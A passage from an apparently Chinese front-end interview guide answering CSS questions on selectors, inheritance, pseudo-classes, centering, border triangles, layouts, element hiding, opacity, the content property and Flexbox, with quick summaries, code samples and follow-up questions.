    会。display: none 的元素不生成盒子,等于不存在,前后两个还是相邻的。换成 visibility: hidden 就不一样了,它有高度就会把两边隔开。

  • 一个元素 float: left,它的 margin 会和下面元素折叠吗?

    不会,浮动元素脱离了常规流,不参与折叠。所以有时候「加了浮动间距变大了」,就是原来折叠的 margin 变成相加了。

  • 设计稿上卡片间距是 16px,每张卡片都写了 margin: 16px 0,首尾两张却和容器边缘对不上,为什么?

    中间的卡片上下 margin 折叠成 16px,但第一张的 margin-top 和最后一张的 margin-bottom 可能跟父元素折叠,跑到容器外面去了。改成父元素 display: flex; flex-direction: column; gap: 16px,卡片不写 margin。

  • margin 折叠是 bug 吗?

    不是,是故意设计的。早期文档排版里,段落都写上下 margin,折叠后段与段之间就是一个间距,不会因为两边都写了而变成双倍。问题是做组件化布局时它常常不符合直觉。

# 56 CSS选择符有哪些?哪些属性可以继承

⚡ 30 秒速记

  • 基础:标签 / 类 / id / 通配符 * / 属性 [type="text"]
  • 关系:后代(空格)、子代 >、相邻兄弟 +、通用兄弟 ~
  • 伪类管状态和位置(:hover、:nth-child()、:not()、:has()),伪元素管生成内容(::before、::placeholder)
  • 继承记一句话:文字相关的继承(color、font-*、line-height、visibility、cursor),盒子相关的不继承(width、margin、padding、border、background、position)
  • 想手动控制用 inherit / initial / unset / revert;:has() 从 2023 年底起主流浏览器都能用

选择器按「选谁、和谁有关系、处于什么状态」三类记;继承就一条线:管文字的会继承,管盒子的不继承。 比如给 body 设 color 和 font-size,全站文字都跟着变,这就是继承在帮你省代码;但给父元素写 padding,子元素不会也多一圈内边距,否则布局就乱套了。很多老资料把 margin、padding 列进可继承属性,这是错的。真要让子元素跟父元素一样,写 padding: inherit 就行。新一点的选择器里我会提 :has(),.card:has(img) 这种「按子元素选父元素」以前只能靠 JS。

你列举的CSS选择器是正确的,以下是它们的详细说明:

  1. id选择器(#myid):通过元素的id属性选择元素,id应该是唯一的。
  2. 类选择器(.myclassname):通过元素的class属性选择元素,一个元素可以有多个类名。
  3. 标签选择器(div、h1、p等):通过元素的标签名选择元素。
  4. 相邻选择器(h1 + p):选择紧接在指定元素后面的兄弟元素。
  5. 子选择器(ul > li):选择指定元素的直接子元素。
  6. 后代选择器(li a):选择指定元素的后代元素,可以是子元素、孙子元素等。
  7. 通配符选择器(*):匹配所有元素。
  8. 属性选择器(a[rel="external"]):通过元素的属性值选择元素。
  9. 伪类选择器(a:hover、li:nth-child等):选择特定状态或位置的元素。

这些选择器可以单独使用,也可以组合使用,以选择特定的元素或元素组。通过选择器,可以实现对页面中的不同元素进行样式控制和操作。

CSS哪些属性可以继承?哪些属性不可以继承

实际上,继承性并不是根据某个属性是可继承属性还是不可继承属性来决定的。继承性是根据具体的属性规定来决定的。以下是一些常见的可继承属性和不可继承属性的示例:

可继承属性:

  • 文本相关属性:font-family、font-size、font-weight、font-style、line-height、color
  • 交互相关属性:cursor、visibility
  • 列表相关属性:list-style-type、list-style-image、list-style-position
  • 表格相关属性:border-collapse、border-spacing

不可继承属性:

  • 盒模型相关属性:width、height、border、border-radius、padding、margin
  • 定位属性:position、top、right、bottom、left、float
  • 背景相关属性:background-color、background-image、background-repeat、background-position、background-size

需要注意的是,即使某个属性是可继承属性,但也可以通过显式设置子元素的样式来覆盖继承的值。另外,有些属性可以通过使用inherit关键字来强制继承父元素的值,即使它本身不具备继承性。

需要注意的是,以上列举的可继承属性和不可继承属性并非全部,具体的属性是否具有继承性需要查阅相关文档进行确认。

盒模型属性(margin、padding、border 等)都不继承,可以这样验证:

<div style="padding: 20px; color: red;">
  父元素
  <p>子元素:文字是红的(color 继承),但没有多出 20px 内边距(padding 不继承)</p>
</div>

常见的继承属性:color、font 系列、line-height、letter-spacing、text-align、text-indent、white-space、visibility、cursor、list-style 系列、border-collapse、border-spacing。

text-decoration 比较特殊:它本身不继承,但下划线会画到子元素的文字上(叫「传播」),所以子元素写 text-decoration: none 去不掉父元素的下划线,要在父元素那里去掉。

💬 面试官追问

  • a 标签放在设了 color: red 的 div 里,为什么还是蓝色?

    color 是会继承的,但浏览器默认样式表给 a 直接写了颜色,直接命中的规则永远压过继承来的值。所以全局 reset 里常见 a { color: inherit; }。

  • button 和 input 里的字体为什么不跟着 body 走?

    表单控件的 font 被浏览器默认样式单独设置了,不吃继承。项目里一般加一句 button, input, select, textarea { font: inherit; }。

  • inherit、initial、unset 有什么区别?

    inherit 强制取父元素的值;initial 回到规范里的初始值,比如 display 回到 inline;unset 是看属性本身,能继承的就 inherit,不能继承的就 initial。重置组件样式时 all: unset 很好用。

  • :has() 能拿来干嘛,给个实际例子?

    按子元素状态改父元素。比如 form:has(input:invalid) button { opacity: .5; },表单里有不合法输入时按钮变灰,以前得写 JS 监听。

  • .list li:first-child 和 .list li:first-of-type 什么时候结果不一样?

    li 前面还有别的兄弟元素时。比如 ul 里第一个是 div,li:first-child 一个都选不中,li:first-of-type 还能选中第一个 li。

# 57 CSS3新增伪类有那些

⚡ 30 秒速记

  • 结构伪类::nth-child() / :nth-last-child() / :nth-of-type() / :first-of-type / :last-child / :only-child / :empty / :root
  • 状态伪类::checked、:enabled、:disabled、:target,否定伪类 :not()
  • :nth-child(an+b):2n 偶数、2n+1 奇数、-n+3 前三个、n+4 第四个起
  • 别把伪元素当伪类:::before、::after、::first-line、::selection 是伪元素,CSS3 起用双冒号区分
  • 加分::is()、:where()(优先级为 0)、:has()、:focus-visible 属于 Selectors Level 4,严格说不算 CSS3

CSS3 新增的伪类主要是两类:按位置选的结构伪类,和按状态选的表单、锚点伪类。 结构伪类最常用的是 :nth-child(),表格隔行变色写个 tr:nth-child(2n) 就完事;状态伪类像 :checked 能配合 label 做纯 CSS 开关。很多资料把 :before、:after 也列进来,其实它们是伪元素,单冒号写法只是为了兼容老浏览器。想多聊可以带一句 Level 4 的新伪类,:focus-visible 解决了「鼠标点按钮也出现焦点框」这个老问题。

你列举的是CSS3新增的一些伪类,它们可以用于选择特定的元素状态或位置。以下是它们的详细说明:

  1. :root:选择文档的根元素,等同于html元素。
  2. :empty:选择没有子元素的元素。
  3. :target:选取当前活动的目标元素。
  4. :not(selector):选择除selector元素以外的元素。
  5. :enabled:选择可用的表单元素。
  6. :disabled:选择禁用的表单元素。
  7. :checked:选择被选中的表单元素。
  8. ::after(伪元素):在元素内容的最后面插入内容。
  9. ::before(伪元素):在元素内容的最前面插入内容。
  10. :nth-child(n):匹配父元素下指定子元素中排序第n个的元素。
  11. :nth-last-child(n):匹配父元素下指定子元素中从后向前数排序第n个的元素。
  12. :nth-child(odd):匹配父元素下指定子元素中奇数位置的元素。
  13. :nth-child(even):匹配父元素下指定子元素中偶数位置的元素。
  14. :nth-child(3n+1):匹配父元素下指定子元素中满足3n+1位置的元素。
  15. :first-child:选择父元素下的第一个子元素。
  16. :last-child:选择父元素下的最后一个子元素。
  17. :only-child:选择父元素下唯一的子元素。
  18. :nth-of-type(n):匹配父元素下指定类型的子元素中排序第n个的元素。
  19. :nth-last-of-type(n):匹配父元素下指定类型的子元素中从后向前数排序第n个的元素。
  20. :nth-of-type(odd):匹配父元素下指定类型的子元素中奇数位置的元素。
  21. :nth-of-type(even):匹配父元素下指定类型的子元素中偶数位置的元素。
  22. :nth-of-type(3n+1):匹配父元素下指定类型的子元素中满足3n+1位置的元素。
  23. :first-of-type:选择父元素下指定类型的第一个子元素。
  24. :last-of-type:选择父元素下指定类型的最后一个子元素。
  25. :only-of-type:选择父元素下指定类型的唯一子元素。
  26. ::selection(伪元素):选择被用户选取的元素部分。
  27. ::first-line(伪元素):选择元素中的第一行。
  28. ::first-letter(伪元素):选择元素中的第一个字符

其中 ::before、::after、::first-line、::first-letter、::selection 严格说是伪元素,不是伪类。伪类选的是「已存在的元素的某种状态」,伪元素是「造一个文档里不存在的部分」。CSS3 规定伪元素用双冒号,单冒号只是给 IE8 这类老浏览器留的兼容写法,::selection 只能写双冒号。

几个常见用法:

/* 表格斑马纹 */
tr:nth-child(2n) { background: #f7f7f7; }

/* 纯 CSS 开关:checkbox 选中时改相邻的 label */
input:checked + label { color: #1677ff; }

/* 锚点跳转后高亮目标段落,比如访问 #faq */
section:target { outline: 2px solid orange; }

💬 面试官追问

  • li:nth-child(2) 和 li:nth-of-type(2) 选出来为什么不一样?

    nth-child 先数所有兄弟里的第 2 个,再看它是不是 li;nth-of-type 只在 li 里数第 2 个。中间夹了别的标签,两者就分家了。

  • 只想选列表的前三项,怎么写?

    li:nth-child(-n+3)。n 从 0 开始代入,算出 3、2、1,后面都是负数被忽略。

  • :empty 选不中一个看起来是空的 div,为什么?

    里面有空格或换行。:empty 要求连文本节点都没有,<div> </div> 就不算空,注释倒是不影响。

  • :is() 和 :where() 都能合并选择器,区别在哪?

    优先级。:is() 取括号里最高的那个,:where() 永远是 0。写组件库的基础样式用 :where(),业务方随便一个类名就能覆盖。

  • 点击按钮时出现的蓝色焦点框,产品说难看,直接 outline: none 行吗?

    不行,键盘用户会找不到焦点在哪。改成 button:focus:not(:focus-visible) { outline: none; },鼠标点击不显示,Tab 切过来还显示。

# 58 如何居中div?如何居中一个浮动元素?如何让绝对定位的div居中

⚡ 30 秒速记

  • 普通 div 水平居中:定宽 + margin: 0 auto;水平垂直都要:父级 display: grid; place-items: center
  • 浮动元素:能不浮动就改 flex;非要浮动,position: relative; left: 50%; transform: translateX(-50%)
  • 绝对定位,尺寸未知:top: 50%; left: 50%; transform: translate(-50%, -50%)
  • 绝对定位,尺寸已知:inset: 0; margin: auto(要有宽高,否则会被拉满)
  • 坑:transform 落在半像素上文字会糊;translate 会占用 transform,元素自己还要做动画时容易冲突

居中先看元素是什么状态:普通块、浮动、还是绝对定位,每种用的机制不一样。 普通块定宽后 margin: 0 auto 就能水平居中,要垂直也居中,现在我直接给父级 display: grid; place-items: center,两行搞定。浮动元素本身就是为了靠边,硬要居中只能用相对定位往右推 50% 再用 transform 拉回自身一半。绝对定位最常见的是 top/left: 50% 配 translate(-50%, -50%),宽高不定也能用;宽高确定的话 inset: 0 加 margin: auto 更干净,不会有半像素模糊。

要居中一个div,可以使用以下方法:

  1. 使用margin: 0 auto;将div水平居中。前提是给div设置一个固定的宽度。
div {
  width: 200px;
  margin: 0 auto;
}
  1. 对于浮动元素,可以使用相对定位和负边距的方式进行居中。
.container {
  position: relative;
}

.float-element {
  float: left;
  position: relative;
  left: 50%;
  transform: translateX(-50%);
}
  1. 对于绝对定位的div,可以通过设置top, left, right, bottom 属性为 0,并将margin设置为auto来实现居中。
.absolute-element {
  position: absolute;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  margin: auto;
}

以上是一些常用的居中方法,具体选择哪种方法取决于你的布局需求和元素的类型。

💬 面试官追问

  • 弹窗用 translate(-50%, -50%) 居中后,里面的字有点虚,怎么回事?

    元素宽高是奇数时,50% 算出来是半像素,文字被栅格化到小数位置就糊了。改成 inset: 0; margin: auto,或者让父级 grid 居中,宽高尽量取偶数。

  • inset: 0; margin: auto 为什么弹窗被拉满了整个屏幕?

    没给宽高。四个方向都是 0 时,绝对定位元素默认会被拉伸填满,必须写 width / height 或者 fit-content,margin: auto 才有空间可分。

  • margin: 0 auto 对 span 不生效,为什么?

    行内元素水平 margin: auto 没意义,它不占整行。要么改成 display: block 再定宽,要么让父元素 text-align: center。

  • 弹窗内容高度会超过屏幕,还用 transform 居中会出什么问题?

    上半截会跑到视口外面,而且滚不回来。这种情况用 flex 居中再加 margin: auto,或者给弹窗设 max-height: 90vh; overflow: auto。

  • flex 居中和 grid 居中,你平时用哪个?

    单个子元素居中我用 grid 的 place-items: center,最短;要和兄弟元素一起排、还要控制间距就用 flex。效果上没本质区别。

# 59 用纯CSS创建一个三角形的原理是什么

⚡ 30 秒速记

  • 原理:width: 0; height: 0,四条 border 交界处是斜线,每条边都变成一个三角形
  • 留一条有颜色,其余三条 transparent,就得到一个指向相反方向的三角
  • border-top-color 有色 → 尖朝下;border-bottom-color 有色 → 尖朝上
  • 调高矮胖瘦改各边宽度;直角三角形只留相邻两条边
  • 现在更推荐 clip-path: polygon(50% 0, 100% 100%, 0 100%),想要什么形状直接画

CSS 画三角形靠的是边框的斜切:盒子宽高为 0 时,四条边框就变成了四个三角形。 平时看不出来,是因为有内容区把四条边撑成了梯形。把宽高压成 0,再让三条边透明,只剩一条有颜色,三角形就出来了,比如 border: 10px solid transparent; border-top-color: #333 得到一个尖朝下的箭头。要注意尖的朝向和有色的那条边是相反的。现在做气泡箭头我更喜欢 clip-path,形状直观,也不占用 border。

使用纯CSS创建三角形的原理是利用元素的边框属性来实现。

具体步骤如下:

  1. 创建一个具有宽度和高度为0的元素。
  2. 设置元素的边框宽度为一个较大的值,例如 20px。
  3. 设置元素的边框样式为 solid,表示实线边框。
  4. 通过调整元素的边框颜色,使得三条边中的一条边有颜色,其余两条边颜色为透明,从而形成三角形的形状。

在给定的示例中,#demo元素的宽度和高度为0,边框宽度为20px,边框颜色设置为透明、透明、红色和透明,从而形成一个红色的等腰三角形。

/* 把上、右、左、三条边隐藏掉(颜色设为 transparent) */
#demo {
  width: 0;
  height: 0;
  border-width: 20px;
  border-style: solid;
  border-color: transparent transparent red transparent;
}

💬 面试官追问

  • 只写了 border-top: 10px solid red,为什么没出三角形?

    左右两条边没写宽度,就没有斜切。要 border: 10px solid transparent; border-top-color: red;,四条边都得有宽度。

  • 气泡框的箭头要带一圈灰色描边,用 border 怎么做?

    叠两个三角:::before 画大一圈的灰色三角,::after 画小一点的白色三角盖上去,往里错开 1px,露出来的就是描边。

  • 做一个尖朝右、宽 8px 高 12px 的箭头,怎么写?

    border-left: 8px solid #333; border-top: 6px solid transparent; border-bottom: 6px solid transparent;。高度是上下两条透明边之和。

  • 用 clip-path 画三角形,相比 border 好在哪?

    元素可以有正常的宽高和背景,能放渐变、图片,还能加动画;border 法只能是纯色。缺点是 clip-path 会把阴影一起裁掉,要阴影得用 filter: drop-shadow()。

  • 三角形边缘有锯齿,怎么处理?

    斜边靠浏览器抗锯齿,在非整数缩放比、或者边框宽度是奇数时容易发毛。边框宽度尽量取偶数;要求高的地方换 clip-path 或内联 SVG,边缘更干净。

# 60 一个满屏 品 字布局 如何设计?

⚡ 30 秒速记

  • 「品」= 上面一块居中,下面两块并排,满屏就是上下各 50vh
  • grid 最干净:两列两行,上块 grid-column: 1 / -1 再 justify-self: center
  • flex 版:外层 flex-direction: column,下面一行再套一个 flex
  • float 老写法:上块 width: 50%; margin: 0 auto,下面两块各 50% 左浮动
  • 常见错误:三块都 50% 左浮动,排出来是「左上、右上、左下」,根本不是品字

品字布局拆开看就是上一行一个居中块、下一行两个等分块,这种二维结构我会直接用 grid。 容器 height: 100vh,两行各 1fr,下面两块各占一列,上面那块跨两列再居中,十行以内写完,也不用清浮动。用浮动也能做,关键是上块要 margin: 0 auto 单独居中,下面两块再浮动。三块都 float: left 宽 50% 是常见的错误写法,排出来缺一个角。移动端地址栏会伸缩,满屏高度我会用 100dvh。

“品”字布局需要上方一块居中、下方两块并排。可以使用两列网格,让上块跨两列后居中。

推荐 grid 写法:

<div class="pin">
  <div class="top">上</div>
  <div class="left">左下</div>
  <div class="right">右下</div>
</div>
.pin {
  display: grid;
  grid-template-columns: 1fr 1fr;
  grid-template-rows: 1fr 1fr;
  height: 100vh;   /* 移动端可用 100dvh */
}
.pin > .top {
  grid-column: 1 / -1;   /* 横跨两列 */
  justify-self: center;  /* 在整行里居中 */
  width: 50%;
}

浮动写法(老项目里能看到):

.top   { width: 50%; height: 50vh; margin: 0 auto; }
.left,
.right { width: 50%; height: 50vh; float: left; }

上块不浮动,靠 margin: 0 auto 居中;下面两块各 50% 刚好铺满一行。

💬 面试官追问

  • 三个块都 width: 50%; float: left,出来的效果对吗?

    不对。前两块挤满第一行,第三块掉到第二行左边,右下角是空的,缺了一个角,不是「品」。上块要单独 margin: 0 auto,并且不能浮动。

  • height: 100vh 在手机上底部被地址栏挡住一截,怎么办?

    100vh 在移动端按地址栏收起时的最大高度算。改用 100dvh,跟着地址栏实时变;不想页面跳动就用 100svh。

  • 用 inline-block 做下面两块,各 50% 却挤不下一行,为什么?

    两个标签之间的换行被渲染成一个空格,50% + 空格 + 50% 超过 100%。父级 font-size: 0,或者直接换 flex / grid。

  • 设计稿要求品字的上块宽度跟着内容走,grid 怎么写?

    上块 grid-column: 1 / -1; justify-self: center;,不写宽度,它就是内容宽度并居中。

  • 窄屏下想改成三块竖排,怎么改动最小?

    grid 方案只改容器:媒体查询里 grid-template-columns: 1fr,上块的 grid-column: 1 / -1 在单列下照样成立,不用动子元素。

# 61 li与li之间有看不见的空白间隔是什么原因引起的?有什么解决办法

⚡ 30 秒速记

  • 根因:li 设成 inline-block 后,标签之间的换行、空格会变成一个空白字符被渲染出来
  • 空隙大小 ≈ 父元素字体下一个空格的宽度,所以字号、字体一变它就变
  • 首选:父级 display: flex,子项变成 flex 项,空白文本节点不参与排版
  • 老办法:父级 font-size: 0 子级再设回来;标签写一行或中间夹注释;float
  • 负 margin(比如 -4px)依赖字体,换个字就不准,别用

这个间隙不是 margin,是 HTML 里标签之间的换行被当成一个空格渲染了。 li 一旦变成 inline-block,它就像一个字一样排在行里,两个「字」之间的空格自然会显示出来,宽度大概是当前字号下一个空格的宽度。我现在一律给 ul 加 display: flex,空白节点直接不参与布局,间距用 gap 控制。负 margin 能临时抵掉,但它跟字体绑死,换个字体或字号就又露出来了。

li 与 li 之间的看不见的空白间隔是由于 HTML 中的换行符和空格字符造成的。这些空白字符会被解析为文本节点,而文本节点默认会应用一定的样式,导致 li 之间产生间隔。

解决这个问题的方法有多种,以下是一些常见的解决办法:

  1. 使用负 margin:可以将 li 的 margin 设置为负值,例如 margin-right: -4px;。这样可以抵消掉 li 之间的间隔。
ul {
  margin: 0;
  padding: 0;
}

li {
  margin-right: -4px;
  padding-right: 4px;
  list-style: none;
}
  1. 使用浮动:给 li 添加 float: left; 属性,使其浮动在一行内,消除间隔。
ul {
  margin: 0;
  padding: 0;
  overflow: auto;
}

li {
  float: left;
  list-style: none;
}
  1. 使用 Flexbox 布局:将 ul 设置为 Flex 容器,使 li 自动排列在一行内,间隔消失。
ul {
  margin: 0;
  padding: 0;
  display: flex;
}

li {
  list-style: none;
}

这些方法可以根据具体情况选择使用,根据不同的布局需求选择最合适的解决办法。

💬 面试官追问

  • font-size: 0 方案上线后,iOS 上某些地方字不见了,可能是什么原因?

    子元素用了 em 单位,算出来全是 0。子级字号要用 px 或 rem 设回来,em 是相对父级的。

  • 间隙大概有多宽,为什么网上都说 4px?

    就是一个空格的宽度,常见中文页面 16px 字号下大约 4px。所以负 margin: -4px 只在这个字号下刚好,换字号就不对了。

  • 改成 display: flex 之后,原来 li 上的 vertical-align: middle 不管用了?

    vertical-align 只对行内和表格单元格生效,flex 项不认它。换成父级 align-items: center。

  • 图片下面也有一条几像素的缝,是同一个原因吗?

    相关但不一样。img 默认按基线对齐,下面留的是给字母下伸部分的空间。img { display: block; } 或 vertical-align: middle 就没了。

  • 用 React 写 JSX,map 出来的 inline-block 有这个间隙吗?

    一般没有。JSX 会把标签之间的换行空白去掉,map 生成的元素之间也没有文本节点。手写 HTML 模板、Vue 模板才常见。

# 62 请列举几种隐藏元素的方法

⚡ 30 秒速记

  • display: none:不占位、不能点、读屏跳过,切换会触发重排
  • visibility: hidden:占位、不能点、读屏跳过;子元素设 visible 能单独露出来
  • opacity: 0:占位、还能点还能聚焦,读屏照读,适合做淡入淡出
  • 只给读屏器看:sr-only 写法(position: absolute; width: 1px; height: 1px; clip-path: inset(50%); overflow: hidden)
  • 只对读屏器隐藏:aria-hidden="true";整块不可交互:inert;hidden 属性等同 display: none,但能被 CSS 覆盖

几种隐藏方式按三个维度比:还占不占位、还能不能点、读屏器还读不读。 display: none 三样都没了,最彻底;visibility: hidden 留着位置但不能点;opacity: 0 只是看不见,点击、Tab 聚焦都还在,透明弹层挡住下面按钮点不动,很多就是它。还有一类是给无障碍用的,比如图标按钮旁边的文字说明,视觉上藏起来但要让读屏器读到,就用 sr-only 那套。我选的时候先问需求:要不要占位、要不要动画、读屏器该不该知道。

  1. visibility: hidden;: 设置元素为隐藏状态,但仍然占据空间。
  2. opacity: 0;: 将元素的透明度设置为0,使其完全透明。
  3. position: absolute; left: -9999px;: 将元素定位到屏幕可见区域之外,实现隐藏效果。
  4. display: none;: 将元素设为不可见,并且不占据页面布局空间。
  5. transform: scale(0);: 将元素的缩放比例设置为0,元素将不可见,但原始位置仍保留。
  6. <div hidden="hidden">: 使用hidden属性来隐藏元素,与display: none;效果相同,但用于记录元素的状态。
  7. height: 0; overflow: hidden;: 将元素的高度设为0并裁掉溢出内容,同时去掉边框和内边距,使其不可见。只设 height: 0 的话,子内容照样会溢出显示。

这些方法可以根据实际需求选择适合的隐藏方式,以达到隐藏元素的效果。

按需求选的对照:

写法 占位 可点击 / 可聚焦 读屏器 能否过渡
display: none / hidden 属性 否 否 不读 否
visibility: hidden 是 否 不读 可以(离散切换)
opacity: 0 是 是 读 可以
sr-only 否 是 读 —
aria-hidden="true" 是 是 不读 —

常用的 sr-only:

.sr-only {
  position: absolute;
  width: 1px;
  height: 1px;
  padding: 0;
  margin: -1px;
  overflow: hidden;
  clip-path: inset(50%);
  white-space: nowrap;
  border: 0;
}

老写法 left: -9999px 在 RTL 页面和某些读屏器里会出问题,现在用上面这种。

💬 面试官追问

  • 弹窗用 opacity: 0 关掉后,页面上某块按钮点不动了,为什么?

    透明的弹窗还盖在上面,点击全被它吃掉了。关闭时加 pointer-events: none,或者动画结束后再切 visibility: hidden。

  • display: none 没法做过渡动画,淡出效果怎么做?

    用 opacity 加 visibility 一起过渡:transition: opacity .3s, visibility .3s,visibility 在动画结束那一刻才变成 hidden。新浏览器也可以用 transition-behavior: allow-discrete 直接过渡 display。

  • 给元素加了 hidden 属性,它还显示着,怎么回事?

    hidden 只是浏览器默认样式里的 display: none,你自己的 CSS 写了 display: flex 就把它覆盖了。全局加一句 [hidden] { display: none !important; }。

  • visibility: hidden 的父元素里,子元素能显示出来吗?

    能。visibility 是继承属性,子元素写 visibility: visible 会单独显示。display: none 和 opacity: 0 都做不到。

  • 图标按钮只有一个放大镜,怎么让读屏器读出「搜索」?

    按钮里放一个 sr-only 的「搜索」文字,或者直接给按钮写 aria-label="搜索",图标本身加 aria-hidden="true"。

# 63 rgba() 和 opacity 的透明效果有什么不同

⚡ 30 秒速记

  • opacity 作用于整个元素,子元素、文字、图片一起变透明,而且子元素没法单独「不透明回来」
  • rgba() 只是一个颜色值,只影响用到它的那个属性(背景、文字、边框)
  • 背景半透明、文字清晰 → 用 rgba() 或 hsl(0 0% 0% / .5)
  • opacity < 1 会创建新的层叠上下文,子元素 z-index 再大也逃不出父级
  • 动画用 opacity 便宜(合成层就能做);rgba 背景过渡会触发重绘

opacity 是给整个元素整体调透明,rgba() 只是一种带透明度的颜色。 比如遮罩层写 opacity: 0.5,里面的白色弹窗也跟着半透明,子元素写 opacity: 1 也救不回来,因为它是在父元素已经半透明的基础上算的。只想背景半透明就写 background: rgba(0, 0, 0, .5),里面内容不受影响。还有个容易忽略的点:opacity 小于 1 会生成层叠上下文,子元素的 z-index 只能在父元素内部比较。

  • opacity 作用于元素以及元素内的所有内容(包括文字)的透明度
  • rgba() 只作用于元素自身的颜色或其背景色,子元素不会继承透明效果

opacity 和 rgba() 在透明效果上有以下不同:

  • opacity:设置元素及其内容的透明度。透明度值范围为 0(完全透明)到 1(完全不透明)。透明度会应用于元素及其内部所有内容,包括文本、图像等。这意味着如果将一个元素的透明度设置为 0.5,那么元素及其内容都会以半透明的形式显示。
.element {
  opacity: 0.5;
}
  • rgba():用于设置元素自身的颜色或背景色的透明度。这个函数接受四个参数,前三个参数表示颜色的红、绿、蓝通道的数值(取值范围 0-255),第四个参数表示透明度(取值范围 0-1)。透明度值为 0 表示完全透明,为 1 表示完全不透明。这意味着只有元素自身的颜色或背景色会受到透明度的影响,而元素内部的内容不会继承透明效果。
.element {
  background-color: rgba(255, 0, 0, 0.5); /* 红色背景,透明度为 0.5 */
}

总结来说,opacity 会影响元素及其内部所有内容的透明度,而 rgba() 只会影响元素自身的颜色或背景色的透明度,不会影响元素内部的内容。

💬 面试官追问

  • 父元素 opacity: .5,子元素写 opacity: 1 能恢复不透明吗?

    不能。透明度是叠乘的,子元素的 1 是相对父级渲染结果说的,最终还是 .5。要么改父级为 rgba 背景,要么把子元素挪出这个父级。

  • 加了 opacity: .99 之后,下拉菜单被别的模块盖住了,为什么?

    opacity 小于 1 建了层叠上下文,菜单的 z-index: 9999 只在这个父元素里面比。父元素自己层级低,菜单就整体被压。

  • 按钮 hover 变淡,用 opacity 还是改 rgba 背景?

    只想背景变淡、字不变,用 rgba 或 color-mix();整个按钮包括图标都变淡,用 opacity,而且它走合成,动画更顺。

  • 现在还需要写 rgba() 吗,有新写法吗?

    rgb() 本身就支持第四个透明度了,现代语法是 rgb(0 0 0 / 50%),hsl 同理,rgba 只是保留下来的别名。

  • 图片想半透明,又不想影响上面叠的文字,怎么做?

    把图片放到 ::before 伪元素里,只给伪元素 opacity: .5,文字在正常内容里不受影响。

# 64 css 属性 content 有什么作用

⚡ 30 秒速记

  • content 给 ::before / ::after 生成内容,不写 content 伪元素根本不出来,空内容也要 content: ""
  • 取值:字符串、attr(data-x)、url() 图片、counter() 计数、open-quote 引号
  • 场景:必填红星、图标、clearfix、自动编号、纯 CSS 提示气泡
  • 伪元素默认是 inline,要设宽高再改成 block / inline-block,不是「必须改才生效」
  • 生成内容不能选中复制、JS 拿不到,关键信息别只放在 content 里

content 就是给 ::before 和 ::after 填内容用的,没有它,伪元素就不会生成。 最常见的是装饰性的东西:表单必填项前面的红星、链接后面的外链图标、清浮动用的空伪元素 content: ""。它还能用 attr() 读元素的 data-* 属性,配合 counter() 做目录自动编号。有个老说法是「必须设 display: inline-block 才生效」,其实伪元素默认 inline 就能显示,只有要设宽高时才需要改。另外生成的内容用户选不中,也别把价格、状态这种关键信息放进去。

content 属性主要用于在 ::before 和 ::after 伪元素中插入额外的内容或样式。

通过设置 content 属性,可以在元素的前面或后面插入指定的内容,包括文本、图标、计数等。它可以接受各种值,如字符串、引用、计数器等。

例如,可以使用 content 属性在元素前面插入一个文本字符:

.element::before {
  content: "→";
}

上述代码将在 .element 元素的前面插入一个箭头字符。

此外,content 属性还可以与其他 CSS 属性一起使用,例如结合 attr() 函数来获取元素的属性值并插入到内容中:

.element::before {
  content: attr(data-text);
}

上述代码会将元素的 data-text 属性值插入到 .element 元素的前面作为内容。

需要注意的是,content 属性主要用于 ::before 和 ::after 伪元素中,::marker 也能用它改列表符号。伪元素默认就是 display: inline,只要写了 content 就会显示;只有当你要给它设 width / height / 上下 margin 时,才需要改成 inline-block 或 block。

几个常用写法:

/* 必填红星 */
.required::before { content: "*"; color: #f5222d; margin-right: 4px; }

/* 外链提示,读屏器读「外部链接」,视觉上显示箭头 */
a[target="_blank"]::after { content: "↗" / "外部链接"; }

/* 清浮动 */
.clearfix::after { content: ""; display: block; clear: both; }

/* 自动编号 */
ol.steps { counter-reset: step; }
ol.steps li::before {
  counter-increment: step;
  content: "第 " counter(step) " 步:";
}

💬 面试官追问

  • 写了 ::before 加了宽高背景色,页面上啥都没有,为什么?

    大概率漏了 content: ""。没有 content 伪元素不生成,另外它默认 inline,宽高也要改成 block 或 inline-block 才生效。

  • 用 content: attr(data-tip) 做提示气泡,能读到 JS 改过的值吗?

    能。setAttribute('data-tip', '新文案') 后伪元素会实时更新,attr() 是跟着属性走的。

  • 读屏器会读 content 里的东西吗?必填星号会被读成「星号」吗?

    主流读屏器会读。纯装饰可以用替代文本语法 content: "*" / ""; 让它不读,或者在真实元素上加 aria-required。

  • 文档目录要自动编号「1.」「1.1」,CSS 能做吗?

    能,用计数器:h2 { counter-increment: sec; }、h2::before { content: counter(sec) ". "; },二级标题再嵌一个计数器,用 counters() 拼起来。

  • img 标签能用 ::before 吗?

    不能稳定使用。img、input 这类替换元素没有内容区,伪元素一般不渲染,图片加载失败时部分浏览器会例外。

# 65 请解释一下 CSS3 的 Flexbox(弹性盒布局模型)以及适用场景

⚡ 30 秒速记

  • 一维布局:一根主轴排子项,交叉轴上对齐;justify-content 管主轴,align-items 管交叉轴
  • flex-direction: column 之后两根轴互换,justify-content 就变成管竖直方向了,最容易记混
  • flex: 1 = 1 1 0%,几栏才真等宽;子项默认 min-width: auto,长内容会撑破,记得 min-width: 0
  • 适合:导航栏、工具条、居中、左右两栏、卡片一行排
  • 页面骨架、行列都要对齐用 grid;常见搭配是 grid 搭骨架、flex 排组件内部

flex 是一维布局,容器定好主轴方向和对齐方式,子项再用 flex 属性分剩余空间。 它最大的价值是「内容多少不确定时也能排整齐」:导航栏左边 logo 右边按钮,justify-content: space-between 一行搞定;垂直居中也不用再算 line-height。高频追问是 flex: 1,展开是 1 1 0%,从 0 开始分所以能等宽。最常见的坑是长文本或表格把子项撑破,原因是 flex 子项默认 min-width: auto,补一个 min-width: 0 就好。

Flexbox 是 CSS3 中引入的一种弹性盒布局模型,用于在容器内创建灵活的、自适应的布局。它提供了一种强大的方式来对齐、分布和调整容器中的项目。

Flexbox 的适用场景包括但不限于以下情况:

  1. 等高布局:Flexbox 可以轻松实现容器内多个项目等高的布局,无论项目的内容多少。
  2. 自适应布局:Flexbox 可以根据容器的可用空间自动调整项目的大小,以适应不同尺寸的屏幕或容器。
  3. 项目排序:Flexbox 可以通过改变项目的顺序来实现在不同屏幕尺寸下的布局调整。
  4. 对齐和分布:Flexbox 提供了多种对齐和分布项目的方式,如水平居中、垂直居中、平均分布等。
  5. 响应式设计:Flexbox 可以与媒体查询结合使用,根据屏幕尺寸调整容器中项目的布局方式。

Flexbox 的特点包括:

